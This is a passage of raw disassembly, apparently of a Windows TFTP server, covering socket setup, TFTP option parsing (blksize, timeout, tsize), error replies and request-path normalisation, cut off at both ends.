; ---------------------------------------------------------------------------
loc_1001E1D: ; CODE XREF: sub_1001DEB+2Aj
push dword_1006040
call ds:dword_1001034
mov dword_1006124, 4
jmp short loc_1001E4B
; ---------------------------------------------------------------------------
loc_1001E35: ; CODE XREF: sub_1001DEB+27j
push dword_1006040
call ds:dword_1001074
mov dword_1006124, 7
loc_1001E4B: ; CODE XREF: sub_1001DEB+30j
; sub_1001DEB+48j
push offset dword_1006120
push dword_1006044
call ds:dword_1001014
test eax, eax
jnz short locret_1001E6F
call ds:dword_1001038
jmp short locret_1001E6F
; ---------------------------------------------------------------------------
loc_1001E68: ; CODE XREF: sub_1001DEB+24j
; sub_1001DEB+2Ej
push 0
call sub_1001E73
locret_1001E6F: ; CODE XREF: sub_1001DEB+73j
; sub_1001DEB+7Bj
leave
retn 4
sub_1001DEB endp
; =============== S U B R O U T I N E =======================================
sub_1001E73 proc near ; CODE XREF: sub_1001665+B9p
; sub_1001DEB+7Fp
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, ds:dword_1001014
push edi
mov edi, offset dword_1006120
push edi
mov dword_1006124, 3
push dword_1006044
call esi ; dword_1001014
mov ebp, ds:dword_1001038
xor ebx, ebx
cmp eax, ebx
jnz short loc_1001EA3
call ebp ; dword_1001038
loc_1001EA3: ; CODE XREF: sub_1001E73+2Cj
push dword_1005DDC
call ds:dword_1001030
mov dword_1006124, 1
mov dword_1006134, ebx
mov eax, [esp+10h+arg_0]
mov dword_1006138, ebx
cmp eax, ebx
jnz short loc_1001EDB
mov dword_100612C, ebx
mov dword_1006130, ebx
jmp short loc_1001EFD
; ---------------------------------------------------------------------------
loc_1001EDB: ; CODE XREF: sub_1001E73+58j
cmp eax, 834h
jb short loc_1001EF3
cmp eax, 16A7h
mov dword_100612C, 42Ah
jbe short loc_1001EF8
loc_1001EF3: ; CODE XREF: sub_1001E73+6Dj
mov dword_100612C, eax
loc_1001EF8: ; CODE XREF: sub_1001E73+7Ej
mov dword_1006130, eax
loc_1001EFD: ; CODE XREF: sub_1001E73+66j
push edi
push dword_1006044
call esi ; dword_1001014
cmp eax, ebx
jnz short loc_1001F0C
call ebp ; dword_1001038
loc_1001F0C: ; CODE XREF: sub_1001E73+95j
mov eax, dword_1005DE0
mov esi, ds:dword_1001054
cmp eax, ebx
jz short loc_1001F24
push eax
call esi ; dword_1001054
mov dword_1005DE0, ebx
loc_1001F24: ; CODE XREF: sub_1001E73+A6j
mov eax, dword_1005DDC
cmp eax, ebx
jz short loc_1001F36
push eax
call esi ; dword_1001054
mov dword_1005DDC, ebx
loc_1001F36: ; CODE XREF: sub_1001E73+B8j
mov eax, dword_1005DD0
cmp eax, ebx
jz short loc_1001F4D
push eax
call ds:dword_100109C
pop ecx
mov dword_1005DD0, ebx
loc_1001F4D: ; CODE XREF: sub_1001E73+CAj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_1001E73 endp
; =============== S U B R O U T I N E =======================================
sub_1001F54 proc near ; CODE XREF: sub_1002182+1Cp
; sub_1002219+B7p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0FFFFFFFFh
push dword ptr [esi+10h]
call ds:dword_1001168
push dword ptr [esi+8]
call ds:dword_100111C
push dword ptr [esi+14h]
call ds:dword_1001118
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jnz short loc_1001F90
mov eax, dword_1006038
mov ecx, [eax]
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
jmp short loc_1001F9A
; ---------------------------------------------------------------------------
loc_1001F90: ; CODE XREF: sub_1001F54+29j
mov [ecx], eax
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
loc_1001F9A: ; CODE XREF: sub_1001F54+3Aj
push esi
call ds:dword_10010A0
pop ecx
pop esi
retn 4
sub_1001F54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1001FA6 proc near ; CODE XREF: sub_10018DB+3Dp
; sub_1002219+1Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
xor edi, edi
lea eax, [ebp+var_4]
push edi
push eax
push edi
mov [ebp+var_4], edi
mov [ebp+var_8], 0C0000017h
mov [ebx], edi
call sub_1003A4A
cmp eax, edi
jz short loc_1001FD3
cmp eax, 7Ah
jnz short loc_100201A
loc_1001FD3: ; CODE XREF: sub_1001FA6+26j
push [ebp+var_4]
call ds:dword_1001094
mov esi, eax
pop ecx
cmp esi, edi
jz short loc_100201A
loc_1001FE3: ; CODE XREF: sub_1001FA6+63j
lea eax, [ebp+var_4]
push edi
push eax
push esi
call sub_1003A4A
cmp eax, edi
jz short loc_1002015
cmp eax, 7Ah
jnz short loc_100201A
push [ebp+var_4]
push esi
call ds:dword_1001098
pop ecx
cmp eax, edi
pop ecx
jz short loc_100200B
mov esi, eax
jmp short loc_1001FE3
; ---------------------------------------------------------------------------
loc_100200B: ; CODE XREF: sub_1001FA6+5Fj
push esi
call ds:dword_10010A0
pop ecx
jmp short loc_100201A
; ---------------------------------------------------------------------------
loc_1002015: ; CODE XREF: sub_1001FA6+4Aj
mov [ebp+var_8], edi
mov [ebx], esi
loc_100201A: ; CODE XREF: sub_1001FA6+2Bj
; sub_1001FA6+3Bj ...
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
retn 4
sub_1001FA6 endp
; =============== S U B R O U T I N E =======================================
sub_1002024 proc near ; CODE XREF: sub_100205A+B7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_0]
call ds:dword_1001120
test eax, eax
jz short locret_1002057
push edi
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
push esi
mov eax, ecx
mov esi, edi
mov edi, [esp+8+arg_4]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop esi
pop edi
locret_1002057: ; CODE XREF: sub_1002024+Cj
retn 8
sub_1002024 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100205A proc near ; CODE XREF: sub_10018DB+64p
; sub_1002219+65p ...
var_28 = byte ptr -28h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
xor esi, esi
push edi
mov [ebp+var_4], esi
loc_1002068: ; CODE XREF: sub_100205A+5Dj
push 1
push esi
push esi
push esi
push 2
push 2
call ds:dword_10010F4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_100209D
xor eax, eax
lea edi, [ebp+var_14]
stosd
stosd
stosd
push offset aUdp ; "udp"
push offset aTftp ; "tftp"
stosd
call ds:dword_1001128
cmp eax, esi
jnz short loc_10020B9
jmp short loc_10020B1
; ---------------------------------------------------------------------------
loc_100209D: ; CODE XREF: sub_100205A+22j
call ds:dword_10010F8
push 2EEh
call ds:dword_100106C
inc [ebp+var_4]
loc_10020B1: ; CODE XREF: sub_100205A+41j
cmp [ebp+var_4], 0Ah
jge short loc_10020E6
jmp short loc_1002068
; ---------------------------------------------------------------------------
loc_10020B9: ; CODE XREF: sub_100205A+3Fj
mov [ebp+var_14], 2
mov ax, [eax+8]
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
lea eax, [ebp+var_14]
push 10h
push eax
push ebx
call ds:dword_1001124
test eax, eax
jz short loc_10020E6
call ds:dword_1001038
jmp short loc_100215E
; ---------------------------------------------------------------------------
loc_10020E6: ; CODE XREF: sub_100205A+5Bj
; sub_100205A+82j
cmp ebx, 0FFFFFFFFh
jz short loc_100215E
push 20h
call ds:dword_1001094
mov esi, eax
pop ecx
test esi, esi
jz short loc_100213D
push 8
xor eax, eax
pop ecx
mov edi, esi
rep stosd
mov eax, [ebp+arg_0]
lea ecx, [ebp+var_28]
push ecx
push eax
mov [esi+8], ebx
mov [esi+0Ch], eax
call sub_1002024
xor eax, eax
push eax
push eax
push eax
push eax
call ds:dword_1001040
mov edi, eax
test edi, edi
jz short loc_1002140
push 1
push edi
push ebx
mov [esi+14h], edi
call sub_100188E
test eax, eax
mov [esi+10h], eax
jnz short loc_1002162
jmp short loc_1002140
; ---------------------------------------------------------------------------
loc_100213D: ; CODE XREF: sub_100205A+9Ej
mov edi, [ebp+arg_0]
loc_1002140: ; CODE XREF: sub_100205A+CCj
; sub_100205A+E1j
push ebx
call ds:dword_100111C
test edi, edi
jz short loc_1002152
push edi
call ds:dword_1001054
loc_1002152: ; CODE XREF: sub_100205A+EFj
test esi, esi
jz short loc_100215E
push esi
call ds:dword_10010A0
pop ecx
loc_100215E: ; CODE XREF: sub_100205A+8Aj
; sub_100205A+8Fj ...
xor eax, eax
jmp short loc_100217B
; ---------------------------------------------------------------------------
loc_1002162: ; CODE XREF: sub_100205A+DFj
mov eax, dword_1006038
mov dword ptr [esi+4], offset dword_1006038
mov [esi], eax
mov [eax+4], esi
mov dword_1006038, esi
mov eax, esi
loc_100217B: ; CODE XREF: sub_100205A+106j
pop edi
pop esi
pop ebx
leave
retn 4
sub_100205A endp
; =============== S U B R O U T I N E =======================================
sub_1002182 proc near ; CODE XREF: sub_1002219:loc_1002298p
mov ecx, dword_1006038
push esi
mov esi, offset dword_1006038
xor eax, eax
cmp ecx, esi
jz short loc_10021B3
push edi
loc_1002195: ; CODE XREF: sub_1002182+2Ej
cmp dword ptr [ecx+18h], 0
mov edi, [ecx]
jnz short loc_10021A8
push ecx
call sub_1001F54
push 1
pop eax
jmp short loc_10021AC
; ---------------------------------------------------------------------------
loc_10021A8: ; CODE XREF: sub_1002182+19j
and dword ptr [ecx+18h], 0
loc_10021AC: ; CODE XREF: sub_1002182+24j
cmp edi, esi
mov ecx, edi
jnz short loc_1002195
pop edi
loc_10021B3: ; CODE XREF: sub_1002182+10j
pop esi
retn
sub_1002182 endp
; =============== S U B R O U T I N E =======================================
sub_10021B5 proc near ; CODE XREF: sub_1002219+43p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
push esi
mov ecx, offset dword_1006038
and dword ptr [edx], 0
mov eax, dword_1006038
loc_10021C7: ; CODE XREF: sub_10021B5+21j
cmp eax, ecx
jz short loc_10021DF
mov esi, [eax+0Ch]
cmp esi, [esp+4+arg_0]
jz short loc_10021D8
mov eax, [eax]
jmp short loc_10021C7
; ---------------------------------------------------------------------------
loc_10021D8: ; CODE XREF: sub_10021B5+1Dj
push 1
mov [edx], eax
pop eax
jmp short loc_10021E1
; ---------------------------------------------------------------------------
loc_10021DF: ; CODE XREF: sub_10021B5+14j
xor eax, eax
loc_10021E1: ; CODE XREF: sub_10021B5+28j
pop esi
retn 8
sub_10021B5 endp
; =============== S U B R O U T I N E =======================================
sub_10021E5 proc near ; CODE XREF: .text:01001DB0p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
push esi
mov ecx, offset dword_1006038
and dword ptr [edx], 0
mov eax, dword_1006038
loc_10021F7: ; CODE XREF: sub_10021E5+21j
cmp eax, ecx
jz short loc_100220A
mov esi, [eax+8]
cmp esi, [esp+4+arg_0]
jz short loc_1002208
mov eax, [eax]
jmp short loc_10021F7
; ---------------------------------------------------------------------------
loc_1002208: ; CODE XREF: sub_10021E5+1Dj
mov [edx], eax
loc_100220A: ; CODE XREF: sub_10021E5+14j
mov eax, [edx]
pop esi
neg eax
sbb eax, eax
and al, 0A9h
add eax, 57h
retn 8
sub_10021E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002219 proc near ; DATA XREF: sub_10018DB+CBo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
xor esi, esi
push offset dword_1006020
mov [ebp+var_C], esi
call ds:dword_1001058
lea eax, [ebp+var_4]
push eax
call sub_1001FA6
test eax, eax
jnz short loc_10022A9
mov eax, [ebp+var_4]
xor ebx, ebx
cmp [eax], esi
jbe short loc_1002298
loc_1002248: ; CODE XREF: sub_1002219+7Dj
mov eax, [eax+esi+4]
test eax, eax
jz short loc_100228D
cmp eax, 100007Fh
jz short loc_100228D
lea ecx, [ebp+var_8]
push ecx
push eax
call sub_10021B5
test eax, eax
jz short loc_1002271
mov eax, [ebp+var_8]
mov dword ptr [eax+18h], 1
jmp short loc_100228D
; ---------------------------------------------------------------------------
loc_1002271: ; CODE XREF: sub_1002219+4Aj
mov eax, [ebp+var_4]
push 1
pop edi
push dword ptr [eax+esi+4]
mov [ebp+var_C], edi
call sub_100205A
test eax, eax
mov [ebp+var_8], eax
jz short loc_100228D
mov [eax+18h], edi
loc_100228D: ; CODE XREF: sub_1002219+35j
; sub_1002219+3Cj ...
mov eax, [ebp+var_4]
inc ebx
add esi, 18h
cmp ebx, [eax]
jb short loc_1002248
loc_1002298: ; CODE XREF: sub_1002219+2Dj
call sub_1002182
push [ebp+var_4]
mov esi, eax
call ds:dword_10010A0
pop ecx
loc_10022A9: ; CODE XREF: sub_1002219+24j
cmp [ebp+var_C], 0
jnz short loc_10022E9
test esi, esi
jnz short loc_10022E9
mov eax, dword_1006038
mov edi, offset dword_1006038
cmp eax, edi
jz short loc_10022E9
loc_10022C1: ; CODE XREF: sub_1002219+CEj
mov [ebp+var_8], eax
mov ebx, [eax]
test byte ptr [eax+1Ch], 1
jnz short loc_10022E3
mov esi, [eax+0Ch]
push eax
call sub_1001F54
push esi
call sub_100205A
test eax, eax
jz short loc_10022E3
or dword ptr [eax+1Ch], 1
loc_10022E3: ; CODE XREF: sub_1002219+B1j
; sub_1002219+C4j
cmp ebx, edi
mov eax, ebx
jnz short loc_10022C1
loc_10022E9: ; CODE XREF: sub_1002219+94j
; sub_1002219+98j ...
push offset dword_1006100
push offset dword_1005E00
call sub_1003A44
push offset dword_1006020
call ds:dword_100104C
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002219 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100230A proc near ; CODE XREF: sub_1001A91+242p
; sub_10023D8+23Cp ...
var_FFBC = word ptr -0FFBCh
var_FFBA = word ptr -0FFBAh
var_FFB8 = byte ptr -0FFB8h
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 0FFBCh
call sub_1003A3E
push ebx
push esi
mov esi, ds:dword_1001104
push edi
push 5
call esi ; dword_1001104
mov edi, [ebp+arg_C]
mov [ebp+var_FFBC], ax
push edi
call esi ; dword_1001104
cmp [ebp+arg_10], 0
mov [ebp+var_FFBA], ax
jz short loc_1002369
mov edi, [ebp+arg_10]
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [ebp+var_FFB8]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, [ebp+arg_10]
jmp short loc_10023A2
; ---------------------------------------------------------------------------
loc_1002369: ; CODE XREF: sub_100230A+32j
cmp di, 9
jb short loc_1002371
xor edi, edi
loc_1002371: ; CODE XREF: sub_100230A+63j
movzx eax, di
or ecx, 0FFFFFFFFh
lea ebx, [ebp+var_FFB8]
mov edx, off_1005CC0[eax*4]
xor eax, eax
mov edi, edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, edx
loc_10023A2: ; CODE XREF: sub_100230A+5Dj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
push 10h
push [ebp+arg_0]
not ecx
dec ecx
push eax
add ecx, 5
lea eax, [ebp+var_FFBC]
push ecx
push eax
push [ebp+arg_8]
call ds:dword_1001130
cmp eax, 0FFFFFFFFh
jnz short loc_10023D1
call ds:dword_10010F8
loc_10023D1: ; CODE XREF: sub_100230A+BFj
pop edi
pop esi
pop ebx
leave
retn 14h
sub_100230A endp
; =============== S U B R O U T I N E =======================================
sub_10023D8 proc near ; CODE XREF: sub_1002F31+302p
; sub_100333A+26Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
mov eax, [esp+arg_0]
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_10]
mov dword ptr [eax+20h], 200h
mov dword ptr [eax+28h], 0Ah
mov eax, [esp+0Ch+arg_14]
push edi
mov ecx, 3FEFh
and dword ptr [eax], 0
xor eax, eax
mov edi, esi
push 6
rep stosd
call ds:dword_1001104
mov [esi], ax
lea ebx, [esi+2]
mov ebp, [esp+10h+arg_4]
cmp byte ptr [ebp+0], 0
jz loc_10025E4
loc_1002420: ; CODE XREF: sub_10023D8+202j
mov esi, ds:dword_100115C
push offset aBlksize ; "blksize"
push ebp
call esi ; dword_100115C
pop ecx
test eax, eax
pop ecx
jnz short loc_1002498
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
push 8
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop esi
add ebp, esi
add ebx, esi
push ebp
call ds:dword_1001160
pop ecx
cmp eax, esi
mov ecx, [esp+10h+arg_0]
mov [ecx+20h], eax
jb loc_10025FD
cmp eax, 0FFB8h
ja loc_10025FD
cmp eax, 5B0h
jnz short loc_100248F
mov dword ptr [ecx+20h], 200h
sub ebx, esi
jmp loc_10025C6
; ---------------------------------------------------------------------------
loc_100248F: ; CODE XREF: sub_10023D8+A7j
push 0Ah
push ebx
push eax
jmp loc_1002597
; ---------------------------------------------------------------------------
loc_1002498: ; CODE XREF: sub_10023D8+5Aj
push offset aTimeout_0 ; "timeout"
push ebp
call esi ; dword_100115C
pop ecx
test eax, eax
pop ecx
jnz short loc_100251A
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
add ebp, 8
mov eax, ecx
mov esi, edi
mov edi, ebx
push ebp
shr ecx, 2
rep movsd
mov ecx, eax
add ebx, 8
and ecx, 3
rep movsb
call ds:dword_1001160
pop ecx
mov ecx, [esp+10h+arg_0]
push 1
pop edx
cmp eax, edx
mov [ecx+28h], eax
jl loc_1002602
cmp eax, 0FFh
jg loc_1002602
mov eax, [esp+10h+arg_14]
mov edi, ebp
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, ebp
jmp loc_10025A2
; ---------------------------------------------------------------------------
loc_100251A: ; CODE XREF: sub_10023D8+CCj
push offset aTsize ; "tsize"
push ebp
call esi ; dword_100115C
pop ecx
mov edi, ebp
test eax, eax
pop ecx
jnz loc_10025B2
or edx, 0FFFFFFFFh
xor eax, eax
mov ecx, edx
add ebp, 6
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
add ebx, 6
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
cmp [esp+10h+arg_8], 2
rep movsb
jnz short loc_100258D
mov edi, ebp
mov ecx, edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, ebp
mov ecx, edx
repne scasb
not ecx
dec ecx
mov edi, ebp
lea ebx, [ebx+ecx+1]
mov ecx, edx
jmp short loc_10025CB
; ---------------------------------------------------------------------------
loc_100258D: ; CODE XREF: sub_10023D8+180j
mov eax, [esp+10h+arg_0]
push 0Ah
push ebx
push dword ptr [eax+24h]
loc_1002597: ; CODE XREF: sub_10023D8+BBj
call ds:dword_1001164
add esp, 0Ch
mov edi, ebx
loc_10025A2: ; CODE XREF: sub_10023D8+13Dj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
lea ebx, [ebx+ecx+1]
jmp short loc_10025C6
; ---------------------------------------------------------------------------
loc_10025B2: ; CODE XREF: sub_10023D8+150j
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp [ebp+ecx+1], al
lea ebp, [ebp+ecx+1]
jz short loc_10025E0
loc_10025C6: ; CODE XREF: sub_10023D8+B2j
; sub_10023D8+1D8j
mov edi, ebp
or ecx, 0FFFFFFFFh
loc_10025CB: ; CODE XREF: sub_10023D8+1B3j
xor eax, eax
repne scasb
not ecx
dec ecx
cmp [ebp+ecx+1], al
lea ebp, [ebp+ecx+1]
jnz loc_1002420
loc_10025E0: ; CODE XREF: sub_10023D8+1ECj
mov esi, [esp+10h+arg_10]
loc_10025E4: ; CODE XREF: sub_10023D8+42j
mov eax, [esp+10h+arg_C]
sub ebx, esi
cmp ebx, 2
mov [eax], ebx
jnz short loc_10025F4
and dword ptr [eax], 0
loc_10025F4: ; CODE XREF: sub_10023D8+217j
xor eax, eax
loc_10025F6: ; CODE XREF: sub_10023D8+244j
pop edi
pop esi
pop ebp
pop ebx
retn 18h
; ---------------------------------------------------------------------------
loc_10025FD: ; CODE XREF: sub_10023D8+91j
; sub_10023D8+9Cj
push 0
push esi
jmp short loc_1002606
; ---------------------------------------------------------------------------
loc_1002602: ; CODE XREF: sub_10023D8+105j
; sub_10023D8+110j
push 0
push 8
loc_1002606: ; CODE XREF: sub_10023D8+228j
push dword ptr [ecx+8]
lea eax, [ecx+0FFF1h]
add ecx, 0Ch
push eax
push ecx
call sub_100230A
or eax, 0FFFFFFFFh
jmp short loc_10025F6
sub_10023D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100261E proc near ; CODE XREF: sub_1002F31+130p
; sub_100333A+150p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov al, [ebx]
mov ecx, ebx
mov esi, ebx
mov [ebp+arg_0], ebx
loc_1002630: ; CODE XREF: sub_100261E+22j
test al, al
jz short loc_1002642
cmp al, 5Ch
jz short loc_100263C
cmp al, 2Fh
jnz short loc_1002642
loc_100263C: ; CODE XREF: sub_100261E+18j
mov al, [ecx+1]
inc ecx
jmp short loc_1002630
; ---------------------------------------------------------------------------
loc_1002642: ; CODE XREF: sub_100261E+14j
; sub_100261E+1Cj ...
mov al, [ecx]
test al, al
jz loc_10026E4
cmp al, 2Eh
jnz loc_100271C
mov dl, [ecx+1]
lea edi, [ecx+1]
cmp dl, 5Ch
jz loc_1002718
cmp dl, 2Fh
jz loc_1002718
cmp dl, al
jnz loc_1002703
mov dl, [ecx+2]
lea edi, [ecx+2]
cmp dl, 5Ch
jz short loc_1002684
cmp dl, 2Fh
jnz short loc_1002703
loc_1002684: ; CODE XREF: sub_100261E+5Fj
dec esi
mov ecx, edi
dec esi
cmp esi, ebx
jbe short loc_10026E0
loc_100268C: ; CODE XREF: sub_100261E+7Bj
mov al, [esi]
cmp al, 5Ch
jz short loc_100269B
cmp al, 2Fh
jz short loc_100269B
dec esi
cmp esi, ebx
jnb short loc_100268C
loc_100269B: ; CODE XREF: sub_100261E+72j
; sub_100261E+76j
inc esi
loc_100269C: ; CODE XREF: sub_100261E+8Ej
; sub_100261E+EEj ...
cmp esi, [ebp+arg_0]
jbe short loc_10026AE
cmp byte ptr [esi-1], 20h
lea eax, [esi-1]
jnz short loc_10026AE
mov esi, eax
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_10026AE: ; CODE XREF: sub_100261E+81j
; sub_100261E+8Aj
mov al, [ecx]
cmp al, 5Ch
jz short loc_10026B8
cmp al, 2Fh
jnz short loc_1002642
loc_10026B8: ; CODE XREF: sub_100261E+94j
cmp esi, ebx
jz short loc_10026CB
mov al, [esi-1]
cmp al, 5Ch
jz short loc_10026CB
cmp al, 2Fh
jz short loc_10026CB
mov byte ptr [esi], 5Ch
inc esi
loc_10026CB: ; CODE XREF: sub_100261E+9Cj
; sub_100261E+A3j ...
inc ecx
jz short loc_10026D8
mov al, [ecx]
cmp al, 5Ch
jz short loc_10026CB
cmp al, 2Fh
jz short loc_10026CB
loc_10026D8: ; CODE XREF: sub_100261E+AEj
mov [ebp+arg_0], esi
jmp loc_1002642
; ---------------------------------------------------------------------------
loc_10026E0: ; CODE XREF: sub_100261E+6Cj
xor eax, eax
jmp short loc_10026FC
; ---------------------------------------------------------------------------
loc_10026E4: ; CODE XREF: sub_100261E+28j
mov cl, [esi-1]
lea eax, [esi-1]
cmp cl, 5Ch
jz short loc_10026F4
cmp cl, 2Fh
jnz short loc_10026F6
loc_10026F4: ; CODE XREF: sub_100261E+CFj
mov esi, eax
loc_10026F6: ; CODE XREF: sub_100261E+D4j
and byte ptr [esi], 0
push 1
pop eax
loc_10026FC: ; CODE XREF: sub_100261E+C4j
pop edi
pop esi
pop ebx
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_1002703: ; CODE XREF: sub_100261E+50j
; sub_100261E+64j ...
mov [esi], al
mov al, [ecx+1]
inc esi
inc ecx
test al, al
jz short loc_100269C
cmp al, 5Ch
jz short loc_100269C
cmp al, 2Fh
jnz short loc_1002703
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_1002718: ; CODE XREF: sub_100261E+3Fj
; sub_100261E+48j
mov ecx, edi
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_100271C: ; CODE XREF: sub_100261E+30j
; sub_100261E+11Dj
test al, al
jz loc_100269C
cmp al, 5Ch
jz loc_100269C
cmp al, 2Fh
jz loc_100269C
mov [esi], al
mov al, [ecx+1]
inc esi
inc ecx
jmp short loc_100271C
sub_100261E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100273D proc near ; CODE XREF: sub_1002F31+18Cp
; sub_100333A+197p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov edx, [ebp+arg_0]
repne scasb
not ecx
dec ecx
mov edi, edx
mov ebx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp byte ptr [ebx+esi-1], 5Ch
mov edi, ecx
setz al
xor ecx, ecx
cmp byte ptr [edx], 5Ch
setz cl
test eax, eax
jnz short loc_1002784
test ecx, ecx
jnz short loc_1002784
mov [ebp+arg_8], 1
jmp short loc_1002791
; ---------------------------------------------------------------------------
loc_1002784: ; CODE XREF: sub_100273D+38j
; sub_100273D+3Cj
and [ebp+arg_8], 0
test eax, eax
jz short loc_1002791
test ecx, ecx
jz short loc_1002791
dec ebx
loc_1002791: ; CODE XREF: sub_100273D+45j
; sub_100273D+4Dj ...
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_4]
add eax, edi
add eax, ebx
dec ecx
cmp eax, ecx
jbe short loc_10027A4
xor eax, eax
jmp short loc_10027DA
; ---------------------------------------------------------------------------
loc_10027A4: ; CODE XREF: sub_100273D+61j
mov eax, [ebp+arg_8]
inc edi
add eax, ebx
push edi
add eax, edx
push edx
push eax
call ds:dword_1001144
mov eax, [ebp+arg_0]
mov ecx, ebx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd
mov ecx, edx
add esp, 0Ch
and ecx, 3
cmp [ebp+arg_8], 0
rep movsb
jz short loc_10027D7
mov byte ptr [ebx+eax], 5Ch
loc_10027D7: ; CODE XREF: sub_100273D+94j
push 1
pop eax
loc_10027DA: ; CODE XREF: sub_100273D+65j
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_100273D endp
; =============== S U B R O U T I N E =======================================
sub_10027E1 proc near ; CODE XREF: sub_1002B5E+C7p
; sub_1002F31+36Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov ecx, [esi+10024h]
lea eax, [esi+10024h]
test ecx, ecx
jz short loc_1002817
and dword ptr [eax], 0
mov eax, [esp+8+arg_4]
and word ptr [esi+10014h], 0
mov [esi+10020h], ecx
mov eax, [eax+20h]
mov [esi+1001Ch], eax
jmp short loc_1002877
; ---------------------------------------------------------------------------
loc_1002817: ; CODE XREF: sub_10027E1+14j
mov edi, ds:dword_1001104
push 3
call edi ; dword_1001104
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax
call edi ; dword_1001104
mov [esi+3Ah], ax
mov eax, [esp+8+arg_4]
push dword ptr [eax+20h]
lea eax, [esi+3Ch]
push eax
push dword ptr [esi+1002Ch]
call ds:dword_1001090
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [esi+1001Ch], eax
jnz short loc_100286E
mov esi, ds:dword_10010AC
call esi ; dword_10010AC
call esi ; dword_10010AC
push dword ptr [eax]
call ds:dword_100102C
xor eax, eax
jmp short loc_100287A
; ---------------------------------------------------------------------------
loc_100286E: ; CODE XREF: sub_10027E1+75j
add eax, 4
mov [esi+10020h], eax
loc_1002877: ; CODE XREF: sub_10027E1+34j
push 1
pop eax
loc_100287A: ; CODE XREF: sub_10027E1+8Bj
pop edi
pop esi
retn 8
sub_10027E1 endp
; =============== S U B R O U T I N E =======================================
sub_100287F proc near ; CODE XREF: sub_1002F31+2C6p
; sub_100333A+2CDp
arg_0 = dword ptr 4
push esi
mov esi, offset dword_1006080
push esi
call ds:dword_1001058
mov ecx, dword_1006098
push esi
